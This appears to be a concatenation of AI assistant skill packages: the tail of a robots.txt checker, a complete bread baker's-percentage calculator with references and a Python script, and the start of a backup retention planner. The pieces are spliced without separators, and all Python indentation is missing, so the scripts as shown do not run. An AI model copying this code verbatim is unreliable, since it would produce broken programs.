ap.add_argument("--robots", help="robots.txt file (instead of a bundle)")
ap.add_argument("--sitemap", help="sitemap.xml file")
ap.add_argument("--site", help="site origin, e.g. https://www.example.com")
ap.add_argument("--agent", help="crawler name (default Googlebot)")
ap.add_argument("--allow", action="append", default=[], help="URL or path that must be crawlable (repeatable)")
ap.add_argument("--block", action="append", default=[], help="URL or path that should be blocked (repeatable)")
ap.add_argument("--today", help="date for the future-lastmod check (default today)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
try:
if a.bundle:
b = json.load(open(a.bundle, encoding="utf-8"))
elif a.robots:
b = {"site": a.site, "robots_txt": open(a.robots, encoding="utf-8").read(),
"sitemap_xml": open(a.sitemap, encoding="utf-8").read() if a.sitemap else None,
"must_crawl": a.allow, "must_block": a.block}
else:
ap.error("give a JSON bundle, --robots FILE or --self-test")
if a.agent:
b["user_agent"] = a.agent
today = dt.date.fromisoformat(a.today) if a.today else None
r = check(b, today)
except (OSError, ValueError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else report(r), end="\n" if a.json else "")
return 1 if r["status"] in ("CRITICAL", "HIGH") else 0
if __name__ == "__main__":
sys.exit(main())把任意面包配方转为真正烘焙师百分比，并按目标面团量缩放。
---
name: bread-dough-bakers-percentage-calculator
description: 把任意面包配方转为真正烘焙师百分比，并按目标面团量缩放。
---
# 面包面团烘焙百分比计算器
你是「面包面团烘焙百分比计算器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Bread Dough Baker's Percentage Calculator
You help home bakers understand, fix and scale bread recipes. From a recipe in grams (or converted to grams), you calculate true baker's percentages, compare them with what the bread style usually needs, explain what each number does to the dough, and give a scaled ingredient list for the exact number and size of loaves, rolls or pizza balls they want to bake.
## Files in this skill
- `scripts/dough_calc.py` - reads a recipe JSON and prints totals, a baker's percentage table, a scaled recipe and findings (Python 3 standard library only)
- `references/bakers-math.md` - baker's percentages, true vs recipe percentages, levain and extras water, key ranges, yeast conversions, hydration by style and scaling
- `references/fermentation-and-troubleshooting.md` - timelines, dough temperature, what each finding means for the dough, symptoms and fixes, doneness
- `templates/bake-sheet.md` - a bake sheet with the formula, timeline and notes for the next bake
- `examples/weekend-whole-wheat-sourdough.json` - a whole wheat and rye sourdough with a levain, a little instant yeast, honey and olive oil, scaled to two 1 kg loaves
## Workflow
### 1. Get the recipe in grams
Ask for every ingredient by weight. Convert cups and spoons with care (1 cup bread flour is about 125-135 g, 1 cup water 236 g, 1 tsp fine salt about 6 g, 1 tsp instant yeast about 3 g) and say the conversion is approximate. Ask for the levain hydration, which flours are whole grain, the bread style, the yeast type, and how many pieces of what weight they want.
### 2. Run the calculator
```
python3 scripts/dough_calc.py examples/weekend-whole-wheat-sourdough.json
python3 scripts/dough_calc.py recipe.json --pieces 6 --piece-weight 270 --json
python3 scripts/dough_calc.py --self-test
```
Styles: bagel, pizza_neapolitan, sandwich_loaf, enriched_brioche, baguette, sourdough_boule, whole_wheat_loaf, ciabatta, focaccia. Exit code 1 means HIGH findings, 2 means bad input.
### 3. Explain and adjust
Give the key numbers first (hydration, salt, leavening), then each finding with the reason and a concrete gram change from `references/bakers-math.md`. Suggest only one or two changes per bake so the baker can see what each did. Use `references/fermentation-and-troubleshooting.md` for timing and for problems they describe (flat loaf, dense crumb, too sour).
### 4. Deliver
Give the scaled recipe and fill `templates/bake-sheet.md` with the formula, a timeline for their kitchen temperature and a place for notes.
## Example result
For `examples/weekend-whole-wheat-sourdough.json`: total flour is 1100 g (100 g of it in the levain) and total water 785 g, so true hydration is 71.4%, salt 1.4%, prefermented flour 9.1%, instant yeast 0.27% and whole grain 38.2%. Salt is low (MEDIUM; 22 g gives 2%) and the 38% whole grain would like about 5 more points of water (LOW). Scaled to 2 x 1000 g plus 2% loss (factor 1.047): 628 g bread flour, 314 g whole wheat, 105 g rye, 712 g water, 15.7 g salt (raise to about 23 g), 209 g levain, 3.1 g yeast, 31 g honey, 21 g olive oil.
## Rules
- Work in grams; say when a volume-to-weight conversion is approximate.
- Always state whether percentages are true (including levain and extras) or recipe percentages.
- Change one or two things at a time and explain the effect on taste, texture and timing.
- Fermentation times depend on temperature and starter strength; give ranges and the signs to watch, not exact minutes.
FILE:references/bakers-math.md
# Baker's Math
## Baker's percentages
Every ingredient is written as a percentage of the **total flour weight**, which is always 100%. A recipe with 1000 g flour, 700 g water, 20 g salt and 5 g instant yeast is 100 / 70 / 2 / 0.5. Percentages make recipes easy to compare, scale and adjust: change one number, keep the rest.
## True vs recipe percentages
Recipes often give percentages of the flour added in the final mix only. True (overall) percentages also count:
- the flour and water inside the levain or preferment
- the water inside wet extras
`scripts/dough_calc.py` always reports true percentages, so its table rows for the added flours sum to less than 100% when a levain is used (the rest of the flour is inside the levain).
| Levain hydration | Flour in 100 g levain | Water in 100 g levain |
|---|---|---|
| 50% (stiff) | 66.7 g | 33.3 g |
| 75% | 57.1 g | 42.9 g |
| 100% (liquid) | 50 g | 50 g |
| 125% | 44.4 g | 55.6 g |
Formula: flour = levain / (1 + hydration / 100); water = levain - flour.
## Water in common extras
| Ingredient | Water content |
|---|---|
| Whole milk | 87% |
| Whole egg (without shell, ~50 g) | 75% |
| Egg yolk | 50% |
| Butter | 16% |
| Honey | 17% |
| Yogurt | 85% |
| Mashed potato | 80% |
| Olive oil, sugar, seeds | 0% (fat and sugar still soften dough) |
## Key numbers
| Measure | Typical | Notes |
|---|---|---|
| Salt | 1.8-2.2% | under 1.6% bland and slack; over 2.5% salty, slows fermentation |
| Instant yeast (straight dough) | 0.5-1.5% | 0.1-0.3% for overnight cold rise |
| Levain, as prefermented flour | 10-25% | more = faster and more sour |
| Sugar (enriched) | 5-15% | over ~10% use osmotolerant yeast or more yeast |
| Fat (enriched) | 3-50% | brioche 40-60% butter |
Yeast conversions (same rising power): instant 1 g = active dry 1.25 g = fresh about 3 g. The script expresses all yeast as the instant equivalent.
## Hydration by style
| Style | Hydration % | Texture |
|---|---|---|
| Bagel | 50-58 | dense, chewy |
| Neapolitan pizza | 58-65 | soft, puffy rim |
| Sandwich loaf | 60-68 | even, tight crumb |
| Enriched / brioche (incl. milk and eggs) | 55-70 | soft, rich |
| Baguette | 65-75 | open, crisp crust |
| Sourdough boule | 68-80 | open crumb |
| Whole wheat loaf | 70-85 | whole grain absorbs more |
| Ciabatta | 75-85 | very open, holes |
| Focaccia | 75-90 | airy, oily |
Flour matters: high-protein bread flour and whole grain take more water; low-protein all-purpose or many European T55/Type 550 flours take less. Start 3-5 points lower with a new flour and add water during mixing (bassinage).
## Scaling
1. Decide pieces and weight per piece (loaf, roll, pizza ball).
2. Add 1-3% for losses in the bowl and on the bench.
3. Factor = target dough weight / current dough weight; multiply every ingredient.
4. Round grams sensibly: 1 g for flour and water, 0.1 g for salt and yeast (use a 0.1 g scale for small amounts).
Pan loaves: dough weight is about 0.55-0.6 g per cm3 of tin volume (a 900 g / 2 lb tin takes about 850-950 g dough).
FILE:references/fermentation-and-troubleshooting.md
# Fermentation and Troubleshooting
## Timeline for a typical lean dough
| Step | Yeasted (1% instant) | Sourdough (15-20% levain) |
|---|---|---|
| Mix and rest | 20-30 min autolyse optional | 30-60 min autolyse optional |
| Bulk fermentation at 24-26 C | 1.5-2 h, rise ~75-100% | 4-6 h, rise ~50-75% |
| Folds | 1-2 sets | 3-4 sets in the first 2 h |
| Shape, final proof | 45-75 min | 1-3 h, or 8-16 h in the fridge |
| Bake | 220-230 C | 240-250 C covered 20 min, then 220-230 C uncovered |
Aim for a dough temperature of 24-26 C after mixing. Adjust with water temperature: desired water temperature = 3 x desired dough temperature - flour temperature - room temperature - friction (about 2-6 C for hand mixing, more in a mixer). With a levain use 4 x and subtract the levain temperature as well.
## Temperature rule of thumb
Fermentation roughly halves in time for every +8 C and doubles for every -8 C. A sourdough bulk of 5 h at 24 C takes about 8 h at 20 C.
## Reading the numbers from the script
- **SALT_LOW / SALT_HIGH:** fix salt first; it changes taste, gluten strength and fermentation speed.
- **HYDRATION_HIGH:** expect sticky dough that spreads; use wet hands, more folds, or hold back 5% of the water.
- **HYDRATION_LOW:** tight crumb and a stiff mix; add water in small additions.
- **YEAST_HIGH:** shorten bulk, or cut yeast to fit your schedule (0.2-0.5% for a long cold rise).
- **LEVAIN_HIGH:** shorter, warmer-tasting ferment that can overproof; drop the levain to 10-20% or ferment cooler.
- **WHOLE_GRAIN_THIRSTY:** add 5-10 points of water or soak the whole grain flour 30-60 min first.
## Symptoms and fixes
| Problem | Likely cause | Fix |
|---|---|---|
| Flat, spreading loaf | overproofed, too wet for the flour, weak shaping | shorter proof, 3-5 points less water, tighter shaping, use a banneton |
| Dense, tight crumb | underproofed, too little water, weak starter | longer bulk, warmer dough, feed starter until it doubles in 4-6 h |
| Big hole under crust (flying crust) | underproofed or poor shaping | longer final proof, degas gently while shaping |
| Pale crust | oven not hot enough, overproofed, no steam | preheat 45-60 min, steam the first 15-20 min |
| Gummy crumb | cut too early, underbaked | bake to 96-98 C inside, cool 1-2 h before slicing |
| Very sour | long warm ferment, levain past peak | use a younger levain, less levain, shorter or cooler bulk |
| Tastes bland | salt under 1.8%, too fast | weigh salt, use less yeast and a longer, cooler rise |
## Doneness and food safety
- Bake lean bread to 93-98 C in the centre and enriched bread to 85-90 C (instant-read thermometer).
- Raw flour can carry bacteria: do not taste raw dough.
- A starter with pink, orange or fuzzy mould is unsafe; discard it.
FILE:templates/bake-sheet.md
# Bake Sheet - <recipe name> - <date>
**Style:** <sourdough boule> **Pieces:** <2 x 1000 g> **Kitchen temperature:** <22 C>
## Formula (true baker's percentages)
| Ingredient | % | Grams (this bake) |
|---|---|---|
| Flour total | 100 | |
| Water total | | |
| Salt | | |
| Levain / yeast | | |
| Extras | | |
Hydration <..>% | salt <..>% | prefermented flour <..>% | whole grain <..>%
## Changes from last time
- <e.g. +15 g salt to reach 2%, +50 g water for the whole grain>
## Timeline
| Step | Planned | Actual | Notes (dough temperature, rise %) |
|---|---|---|---|
| Feed levain | | | |
| Mix | | | |
| Bulk end | | | |
| Shape | | | |
| Proof end | | | |
| Bake | | | |
## Result
- Crumb: <open / tight / gummy> - Crust: <colour, thickness> - Taste: <salt, sourness>
- Next time: <one change only>
FILE:examples/weekend-whole-wheat-sourdough.json
{
"name": "Weekend whole wheat sourdough",
"style": "sourdough_boule",
"flours": [
{"name": "bread flour (12.5% protein)", "grams": 600},
{"name": "whole wheat flour", "grams": 300, "whole_grain": true},
{"name": "whole rye flour", "grams": 100, "whole_grain": true}
],
"water_g": 680,
"salt_g": 15,
"levain": {"grams": 200, "hydration_pct": 100, "whole_grain_pct": 20},
"yeast": {"type": "instant", "grams": 3},
"extras": [
{"name": "honey", "grams": 30, "water_pct": 17},
{"name": "olive oil", "grams": 20, "water_pct": 0}
],
"target": {"pieces": 2, "piece_weight_g": 1000},
"loss_pct": 2
}
FILE:scripts/dough_calc.py
#!/usr/bin/env python3
"""Bread dough baker's percentage calculator (Python 3 standard library only).
Input JSON:
{"name": "...", "style": "sourdough_boule",
"flours": [{"name": "bread flour", "grams": 800}, {"name": "whole wheat", "grams": 200, "whole_grain": true}],
"water_g": 700, "salt_g": 20,
"levain": {"grams": 200, "hydration_pct": 100, "whole_grain_pct": 0}, (optional)
"yeast": {"type": "instant|active_dry|fresh", "grams": 0}, (optional)
"extras": [{"name": "milk", "grams": 100, "water_pct": 87}], (optional)
"target": {"pieces": 3, "piece_weight_g": 900}, "loss_pct": 2} (optional)
Totals count the flour and water inside the levain and the water inside extras (milk ~87%,
whole egg ~75%, butter ~16%), so hydration and salt are the TRUE percentages of all flour.
hydration % = all water / all flour x 100
salt % = salt / all flour x 100
prefermented flour % = flour in the levain / all flour x 100
yeast = instant-yeast equivalent (active dry x 0.8, fresh x 0.33) / all flour x 100
Scaling: factor = pieces x piece weight x (1 + loss %) / current dough weight; grams rounded to 1 g,
salt and yeast to 0.1 g.
Findings (severity):
HIGH NO_SALT no salt (bland, slack, fast dough) - unless salt_free is true
HIGH SALT_HIGH salt above 2.5% of flour
HIGH NO_LEAVEN no yeast and no levain (dough will not rise)
HIGH HYDRATION_FAR hydration more than 10 points outside the style range
MEDIUM SALT_LOW salt below 1.6%
MEDIUM HYDRATION_HIGH/LOW hydration outside the style range
MEDIUM YEAST_HIGH instant-equivalent yeast above 2% (or above 1% together with a levain)
MEDIUM LEVAIN_HIGH prefermented flour above 35% (overproofs, sour, slack)
LOW LEVAIN_LOW levain-only dough with under 5% prefermented flour (very slow)
LOW WHOLE_GRAIN_THIRSTY 30%+ whole grain with hydration under 72%
LOW UNKNOWN_STYLE style not in the table; no hydration check
Usage:
python3 dough_calc.py recipe.json
python3 dough_calc.py recipe.json --pieces 4 --piece-weight 250 --json
python3 dough_calc.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import json
import sys
STYLES = { # typical hydration range in % (true, incl. levain and extras water)
"bagel": (50, 58),
"pizza_neapolitan": (58, 65),
"sandwich_loaf": (60, 68),
"enriched_brioche": (55, 70),
"baguette": (65, 75),
"sourdough_boule": (68, 80),
"whole_wheat_loaf": (70, 85),
"ciabatta": (75, 85),
"focaccia": (75, 90),
}
YEAST_FACTOR = {"instant": 1.0, "active_dry": 0.8, "fresh": 0.33}
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class DataError(ValueError):
pass
def g(x, what):
try:
v = float(x)
except (TypeError, ValueError):
raise DataError(f"{what} must be a number, got {x!r}")
if v < 0:
raise DataError(f"{what} must be >= 0")
return v
def analyze(rec, pieces=None, piece_weight=None):
flours = rec.get("flours") or []
if not flours:
raise DataError("at least one flour is required")
lines = [] # (name, grams, kind)
added_flour = whole = 0.0
for i, fl in enumerate(flours):
w = g(fl.get("grams"), f"flours[{i}].grams")
added_flour += w
if fl.get("whole_grain"):
whole += w
lines.append((fl.get("name") or f"flour {i + 1}", w, "flour"))
water = g(rec.get("water_g", 0), "water_g")
salt = g(rec.get("salt_g", 0), "salt_g")
lines += [("water", water, "water"), ("salt", salt, "salt")]
lev = rec.get("levain") or {}
lev_g = g(lev.get("grams", 0), "levain.grams")
lev_flour = lev_water = 0.0
if lev_g:
h = g(lev.get("hydration_pct", 100), "levain.hydration_pct")
if h <= 0:
raise DataError("levain.hydration_pct must be > 0")
lev_flour = lev_g / (1 + h / 100)
lev_water = lev_g - lev_flour
whole += lev_flour * g(lev.get("whole_grain_pct", 0), "levain.whole_grain_pct") / 100
lines.append((f"levain ({h:g}% hydration)", lev_g, "levain"))
y = rec.get("yeast") or {}
y_g = g(y.get("grams", 0), "yeast.grams")
y_type = y.get("type", "instant")
if y_type not in YEAST_FACTOR:
raise DataError(f"yeast.type must be one of {', '.join(YEAST_FACTOR)}")
if y_g:
lines.append((f"{y_type.replace('_', ' ')} yeast", y_g, "yeast"))
extra_water = 0.0
for i, ex in enumerate(rec.get("extras") or []):
w = g(ex.get("grams"), f"extras[{i}].grams")
extra_water += w * g(ex.get("water_pct", 0), f"extras[{i}].water_pct") / 100
lines.append((ex.get("name") or f"extra {i + 1}", w, "extra"))
flour = added_flour + lev_flour
if flour <= 0:
raise DataError("total flour must be > 0")
total_water = water + lev_water + extra_water
dough = sum(w for _, w, _ in lines)
pct = lambda x: round(100 * x / flour, 1)
res = {
"name": rec.get("name", "recipe"), "style": rec.get("style"),
"total_flour_g": round(flour, 1), "total_water_g": round(total_water, 1), "dough_weight_g": round(dough, 1),
"hydration_pct": pct(total_water), "salt_pct": pct(salt), "prefermented_flour_pct": pct(lev_flour),
"yeast_instant_pct": round(100 * y_g * YEAST_FACTOR[y_type] / flour, 2), "whole_grain_pct": pct(whole),
"table": [{"ingredient": n, "grams": round(w, 1), "bakers_pct": pct(w)} for n, w, _ in lines],
}
findings = []
def f(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
hyd, sp, pf, yp = res["hydration_pct"], res["salt_pct"], res["prefermented_flour_pct"], res["yeast_instant_pct"]
if salt == 0 and not rec.get("salt_free"):
f("HIGH", "NO_SALT", f"no salt: add about 2% of the flour weight ({0.02 * flour:.0f} g)")
elif sp > 2.5:
f("HIGH", "SALT_HIGH", f"salt {sp}% (usual 1.8-2.2%, {0.02 * flour:.0f} g at 2%); slows yeast and tastes salty")
elif 0 < sp < 1.6:
f("MEDIUM", "SALT_LOW", f"salt {sp}% (usual 1.8-2.2%, {0.02 * flour:.0f} g at 2%); bland and slack dough")
if y_g == 0 and lev_g == 0:
f("HIGH", "NO_LEAVEN", "no yeast and no levain: the dough will not rise")
if yp > 2 or (lev_g and yp > 1):
f("MEDIUM", "YEAST_HIGH", f"instant-yeast equivalent {yp}%{' on top of a levain' if lev_g else ''}; expect a fast, yeasty rise")
if pf > 35:
f("MEDIUM", "LEVAIN_HIGH", f"prefermented flour {pf}% (usual 10-25%); faster, more sour and slacker")
elif lev_g and y_g == 0 and pf < 5:
f("LOW", "LEVAIN_LOW", f"prefermented flour {pf}%: bulk fermentation will be very long")
style = rec.get("style")
if style in STYLES:
lo, hi = STYLES[style]
if hyd < lo or hyd > hi:
gap = lo - hyd if hyd < lo else hyd - hi
sev = "HIGH" if gap > 10 else "MEDIUM"
code = "HYDRATION_FAR" if gap > 10 else ("HYDRATION_LOW" if hyd < lo else "HYDRATION_HIGH")
f(sev, code, f"hydration {hyd}% vs {lo}-{hi}% typical for {style}; target water {round(flour * (lo + hi) / 200 - (total_water - water))} g")
elif style:
f("LOW", "UNKNOWN_STYLE", f"style {style!r} not known ({', '.join(STYLES)}); no hydration check")
if res["whole_grain_pct"] >= 30 and hyd < 72:
f("LOW", "WHOLE_GRAIN_THIRSTY", f"{res['whole_grain_pct']}% whole grain at {hyd}% hydration; whole grain absorbs more, consider +5 points")
findings.sort(key=lambda x: SEV_ORDER[x["severity"]])
res["findings"] = findings
tgt = rec.get("target") or {}
pieces = pieces or tgt.get("pieces")
piece_weight = piece_weight or tgt.get("piece_weight_g")
if pieces and piece_weight:
loss = g(rec.get("loss_pct", 2), "loss_pct")
want = g(pieces, "pieces") * g(piece_weight, "piece_weight_g") * (1 + loss / 100)
k = want / dough
res["scaled"] = {"pieces": int(pieces), "piece_weight_g": float(piece_weight), "loss_pct": loss,
"factor": round(k, 3), "dough_weight_g": round(want),
"ingredients": [{"ingredient": n, "grams": round(w * k, 1) if kind in ("salt", "yeast") else round(w * k)}
for n, w, kind in lines]}
return res
def report(r):
L = [f"# {r['name']}" + (f" ({r['style']})" if r.get("style") else ""), "",
f"Total flour {r['total_flour_g']:g} g, total water {r['total_water_g']:g} g, dough {r['dough_weight_g']:g} g",
f"Hydration {r['hydration_pct']}% | salt {r['salt_pct']}% | prefermented flour {r['prefermented_flour_pct']}% | "
f"yeast (instant eq.) {r['yeast_instant_pct']}% | whole grain {r['whole_grain_pct']}%", "",
"| Ingredient | Grams | Baker's % |", "|---|---|---|"]
L += [f"| {t['ingredient']} | {t['grams']:g} | {t['bakers_pct']} |" for t in r["table"]]
if "scaled" in r:
s = r["scaled"]
L += ["", f"## Scaled to {s['pieces']} x {s['piece_weight_g']:g} g (+{s['loss_pct']:g}% loss, factor {s['factor']}): {s['dough_weight_g']} g dough",
"| Ingredient | Grams |", "|---|---|"]
L += [f"| {t['ingredient']} | {t['grams']:g} |" for t in s["ingredients"]]
L += ["", "## Findings"]
L += [f"- {x['severity']} {x['code']}: {x['message']}" for x in r["findings"]] or ["- none"]
return "\n".join(L) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
def codes(r):
return {x["code"] for x in r["findings"]}
base = {"style": "sourdough_boule", "flours": [{"grams": 1000}], "water_g": 700, "salt_g": 20,
"yeast": {"type": "instant", "grams": 5}}
r = analyze(base)
ok("hydration 70%, salt 2%", r["hydration_pct"] == 70 and r["salt_pct"] == 2)
ok("dough weight sums ingredients (1725)", r["dough_weight_g"] == 1725)
ok("clean recipe has no findings", r["findings"] == [])
lev = dict(base, flours=[{"grams": 900}], water_g=600, levain={"grams": 200, "hydration_pct": 100}, yeast=None)
r = analyze(lev)
ok("levain 100%: flour 1000, water 700", r["total_flour_g"] == 1000 and r["total_water_g"] == 700)
ok("prefermented flour 10%", r["prefermented_flour_pct"] == 10)
r = analyze(dict(lev, levain={"grams": 150, "hydration_pct": 50}))
ok("stiff levain 50%: 100 g flour + 50 g water", r["total_flour_g"] == 1000 and r["total_water_g"] == 650)
ok("yeast conversion fresh 15 g ~ 0.5% instant", analyze(dict(base, yeast={"type": "fresh", "grams": 15}))["yeast_instant_pct"] == 0.49)
ok("active dry x 0.8", analyze(dict(base, yeast={"type": "active_dry", "grams": 10}))["yeast_instant_pct"] == 0.8)
milk = analyze(dict(base, water_g=600, extras=[{"name": "milk", "grams": 100, "water_pct": 87}]))
ok("milk water counted (87 g)", milk["total_water_g"] == 687)
ok("no salt HIGH", "NO_SALT" in codes(analyze(dict(base, salt_g=0))))
ok("salt_free suppresses NO_SALT", "NO_SALT" not in codes(analyze(dict(base, salt_g=0, salt_free=True))))
ok("salt 3% HIGH", "SALT_HIGH" in codes(analyze(dict(base, salt_g=30))))
ok("salt 1.2% MEDIUM", "SALT_LOW" in codes(analyze(dict(base, salt_g=12))))
ok("no leaven HIGH", "NO_LEAVEN" in codes(analyze(dict(base, yeast=None))))
ok("yeast 2.5% MEDIUM", "YEAST_HIGH" in codes(analyze(dict(base, yeast={"type": "instant", "grams": 25}))))
ok("yeast 1.2% plus levain MEDIUM", "YEAST_HIGH" in codes(analyze(dict(lev, yeast={"type": "instant", "grams": 12}))))
ok("levain 40% flour MEDIUM", "LEVAIN_HIGH" in codes(analyze(dict(lev, flours=[{"grams": 600}], water_g=300, levain={"grams": 800, "hydration_pct": 100}))))
ok("tiny levain LOW", "LEVAIN_LOW" in codes(analyze(dict(lev, flours=[{"grams": 980}], water_g=680, levain={"grams": 40, "hydration_pct": 100}))))
ok("hydration 64% for boule MEDIUM LOW", "HYDRATION_LOW" in codes(analyze(dict(base, water_g=640))))
ok("hydration 84% for boule MEDIUM HIGH", "HYDRATION_HIGH" in codes(analyze(dict(base, water_g=840))))
ok("hydration 92% for bagel HIGH FAR", "HYDRATION_FAR" in codes(analyze(dict(base, style="bagel", water_g=920))))
ok("unknown style LOW", "UNKNOWN_STYLE" in codes(analyze(dict(base, style="pretzel"))))
wg = analyze(dict(base, flours=[{"grams": 600}, {"grams": 400, "whole_grain": True}], water_g=690))
ok("whole grain 40% at 69% flagged", wg["whole_grain_pct"] == 40 and "WHOLE_GRAIN_THIRSTY" in codes(wg))
s = analyze(base, pieces=2, piece_weight=900)["scaled"]
ok("scale 2 x 900 + 2% = 1836 g, factor 1.064", s["dough_weight_g"] == 1836 and s["factor"] == 1.064)
ok("scaled flour 1064 g, salt 21.3 g", s["ingredients"][0]["grams"] == 1064 and s["ingredients"][2]["grams"] == 21.3)
ok("target from JSON", analyze(dict(base, target={"pieces": 4, "piece_weight_g": 250}, loss_pct=0))["scaled"]["dough_weight_g"] == 1000)
for bad, label in (({"flours": []}, "no flours"), ({"flours": [{"grams": "x"}]}, "bad number"),
({"flours": [{"grams": -5}]}, "negative grams"), ({"flours": [{"grams": 0}]}, "zero flour"),
(dict(base, yeast={"type": "sourdough", "grams": 5}), "unknown yeast type"),
(dict(lev, levain={"grams": 100, "hydration_pct": 0}), "zero levain hydration")):
try:
analyze(bad)
ok(label + " rejected", False)
except DataError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Baker's percentages, true hydration and scaling for bread dough.")
ap.add_argument("file", nargs="?", help="recipe JSON (see module docstring)")
ap.add_argument("--pieces", type=int, help="number of loaves or dough balls (overrides target)")
ap.add_argument("--piece-weight", type=float, help="dough weight per piece in grams (overrides target)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a recipe JSON file or --self-test")
try:
r = analyze(json.load(open(a.file, encoding="utf-8")), a.pieces, a.piece_weight)
except (OSError, ValueError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else report(r), end="\n" if a.json else "")
return 1 if any(x["severity"] == "HIGH" for x in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())规划/审计祖-父-子备份保留，模拟小时/日/周/月保留效果。
---
name: backup-retention-policy-planner
description: 规划/审计祖-父-子备份保留，模拟小时/日/周/月保留效果。
---
# 备份保留策略规划器
你是「备份保留策略规划器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Backup Retention Policy Planner
You help engineers and small IT teams design a backup retention policy they can defend: enough restore points to recover from yesterday's mistake and last quarter's silent corruption, a copy that survives a ransomware attack or a lost account, a storage bill that fits the budget, and a restore that has actually been tested. You turn "keep 7 daily, 4 weekly, 12 monthly" into the concrete list of restore points it produces and check it against the requirements.
## Files in this skill
- `scripts/retention_plan.py` - simulates a GFS policy, lists kept restore points, gaps, storage and cost, and prints findings (Python 3 standard library only)
- `references/retention-design.md` - how keep rules select points, choosing tiers from RPO and history needs, legal retention, storage models and cost
- `references/resilience-checklist.md` - 3-2-1-1-0, immutability, encryption and keys, restore testing, monitoring and what each finding means
- `templates/backup-policy.md` - a one-page backup policy to fill in and share with the team
- `examples/clinic-postgres-policy.json` - a PostgreSQL database backed up nightly to S3 with a 4 h RPO and 3-year legal retention
## Workflow
### 1. Collect the facts
Ask for: what is backed up and how (tool, full or incremental), backup frequency and how long a run takes, the current keep rules, data size, daily change rate and growth, where copies live (onsite, offsite, immutable/object lock, encrypted), the storage price, the date of the last successful restore test, and the requirements: RPO (maximum data loss), how far back they must be able to restore, any legal or contractual retention, and a storage budget. If they do not know the change rate, start with 2-5% per day for databases and 1% for file shares, and say so.
### 2. Run the planner
```
python3 scripts/retention_plan.py examples/clinic-postgres-policy.json
python3 scripts/retention_plan.py policy.json --json
python3 scripts/retention_plan.py --self-test
```
Exit code 1 means HIGH findings, 2 means bad input.
### 3. Explain the result
Start with the restore points they really have (count, oldest, biggest gaps) because most people overestimate them. Then go through the findings by severity using `references/retention-design.md` and `references/resilience-checklist.md`, and give one concrete change for each: a new keep rule, WAL or log shipping for a tight RPO, object lock, a restore drill date. Re-run the planner with the proposed policy and show the before and after storage and cost.
### 4. Deliver
Fill `templates/backup-policy.md` with the final keep rules, copies, requirements, restore test plan and owners.
## Example result
For `examples/clinic-postgres-policy.json` (nightly backups, keep 7 daily, 4 weekly, 6 monthly): 14 restore points, oldest 4.8 months, gaps of up to 31 days after the first month, 968 GB now and 1550 GB in 12 months (22.27 to 35.66 USD/month). Findings: HIGH RPO_MISSED (24 h backups against a 4 h RPO; add WAL archiving or 4-hourly incrementals), HIGH LEGAL_RETENTION (3 years needed; set yearly to 5), MEDIUM RESTORE_TEST_OLD (193 days), MEDIUM NO_IMMUTABLE, MEDIUM STORAGE_OVER (1550 GB against a 1500 GB budget in 12 months).
## Rules
- A backup that has never been restored is not proven. Always ask for the last restore test and recommend a timed drill.
- Keep rules count buckets, not days: "monthly 12" keeps the newest backup of each of the last 12 months that have one, including the current month.
- Say which storage model you assumed; incremental estimates are an upper bound because deduplication and repeated block changes make the real size smaller.
- RPO is set by backup frequency (or log shipping), not by retention; history depth is set by retention, not by frequency.
- Never suggest deleting existing backups until the new policy has run and a restore from it has been tested.
FILE:references/retention-design.md
# Retention Design
## How keep rules select restore points
Tools such as restic (`forget --keep-daily 7 --keep-weekly 4`), borg (`prune --keep-daily 7`), pgBackRest and most backup appliances use the same idea. For each tier, walk the backups from newest to oldest and keep a backup when its bucket differs from the last one kept by that tier, until the tier's count is used:
| Tier | Bucket | "keep N" means |
|---|---|---|
| hourly | calendar hour | newest backup of each of the last N hours that have a backup |
| daily | calendar day | newest backup of each of the last N days |
| weekly | ISO week (Monday to Sunday) | newest backup of each of the last N weeks |
| monthly | calendar month | newest backup of each of the last N months |
| yearly | calendar year | newest backup of each of the last N years |
Consequences people miss:
- Every tier starts with the newest backup, so the tiers overlap. 7 daily + 4 weekly + 12 monthly is 20 points, not 23.
- The current week, month and year count as one bucket each. "monthly 12" reaches back about 11 months, and "yearly 3" only reaches the end of the year before last (about 1.8 years in late October).
- Monthly points are month-end backups (the newest in each month), weekly points are Sunday backups for ISO weeks.
- Days without a backup do not use up a daily slot, so a failed week stretches daily history further back but leaves a hole.
`scripts/retention_plan.py` reproduces this rule, prints every kept point with its tiers (D/W/M/Y/H) and lists the largest gaps.
## Choosing tiers from requirements
| Requirement | What sets it | Typical answer |
|---|---|---|
| RPO (max data loss) | backup frequency or log shipping | 24 h: nightly; 1-4 h: hourly snapshots or incrementals; minutes: database WAL/binlog archiving with point-in-time recovery |
| Recover from a mistake noticed late | daily and weekly depth | at least 14-35 days: the time it takes someone to notice a bad deploy, a deleted folder or a bad import |
| Silent corruption, audits | monthly depth | 6-13 months |
| Legal or contractual retention | yearly tier or a separate archive | N years needs yearly N+2 to have an N-year-old point all year round; often better as a separate archive job with its own lock |
| Budget | storage model and change rate | see below |
A common, defensible starting point for business data: hourly 24 (if RPO < 24 h), daily 14, weekly 8, monthly 12, yearly as required by law.
Gaps: when a coarse tier starts long after the fine tier ends (daily 7 then monthly), restores between day 8 and the month end land on a point up to 30 days older than the one you wanted. Add weekly points or more daily points (`TIER_GAP`).
## Storage models
- **Full**: every kept point is a complete copy (tape, simple dump files, some snapshot exports). Storage = points x full size.
